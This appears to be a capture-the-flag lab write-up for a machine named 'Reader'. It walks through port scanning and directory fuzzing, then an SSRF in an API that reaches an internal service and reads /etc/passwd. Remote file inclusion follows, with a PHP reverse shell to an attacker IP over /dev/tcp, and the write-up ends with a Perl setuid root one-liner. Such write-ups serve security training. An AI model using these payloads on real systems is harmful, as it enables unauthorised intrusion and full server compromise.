Published on

Reader Writeup

Authors
Logo Reader

Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1b:6f:d9:6f:08:c8:eb:59:76:5f:fe:f5:1f:28:b4:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCdE/+UDioqJcBqKEjyENBihhOMB9Ocue8I+pDmGchJZvrGwO2MbIiL6VLH+bqm08nrq+NdjzWM7TewudhK9viM=
|   256 81:51:ba:61:11:db:07:50:51:66:92:d8:e1:ff:68:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKH7CspTNqFcDLRTPhHJYggspYSAuzmq+DXCv2U/Q2Jq
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Emergency Maintenance
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This machine only has ports 22 (SSH) and 80 (HTTP) open.

Enumeration

A simple webpage that seems to be under maintenance, with only the API service working.

Página de manutenção

Not much to do, so I did fuzzing to search for directories before looking at the API.

gobuster dir -u $URL -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -x php,sh,txt,cgi,html,js,css,py

Starting gobuster in directory enumeration mode
===============================================================
/api.php              (Status: 200) [Size: 56]
/index.php            (Status: 200) [Size: 17866]
/logfiles             (Status: 301) [Size: 315] [--> <http://172.16.4.104/logfiles/>]

There's a directory called logfiles that will be useful later.

In the API section, it says it only accepts POST requests.

API POST

I captured the request using Burp to send it with POST.

Burp requisicao

It says a parameter called URL is missing.

For some reason, passing the parameter through Burp wasn't working, but it worked via curl:

Curl POST

curl -X POST http://172.16.4.104/api.php -d "url=http://127.0.0.1"

It is saving the request somewhere in a .txt file (Saved in /logfiles/ found via gobuster).

Curl resposta

Since the parameter is called url, we can deduce this is an SSRF vulnerability.

I used this simple port scan to discover which internal ports the server has.

for port in 22 21 25 80 8080 3306 5432 8443 445 9000; do echo "Scanning port $port..."; curl -X POST -s -d "url=http://127.0.0.1:$port" "<http://172.16.4.104/api.php>" | cat; done

Two interesting ports were found with this port scan: 3306 and 8080.

Portas interessantes

Now, make the request on port 8080 with curl and see.

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/"

Curl 8080

We can go to the logfiles directory to see the server's response.

Logfiles resposta

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php"

Curl read.php

Reading the output, it says a parameter called file is missing.

Logfiles output 2

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=/etc/passwd"

Curl etc/passwd
Logfiles output 3

To better understand what the application is doing, we will read the read.php file using the php:// schema.

Note that it is necessary to convert to base64, because otherwise the application will return a blank page.

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=php://filter/convert.base64-encode/resource=read.php"

Curl base64 Logfiles output 4 Decode base64

Include $_GET ['file'] indicates an RFI (Remote-File Inclusion) that we can use to gain access to the server.

Foothold

python3 -m http.server

#shell.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.31.150/1337 0>&1'"); ?>
Python server

Now just send the request to the server.

curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=http://10.0.31.150:80/shell.php"

Foothold

Privilege Escalation

getcap -r / 2>/dev/null Privesc 1 /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";’ Privesc 2

Proof

Proof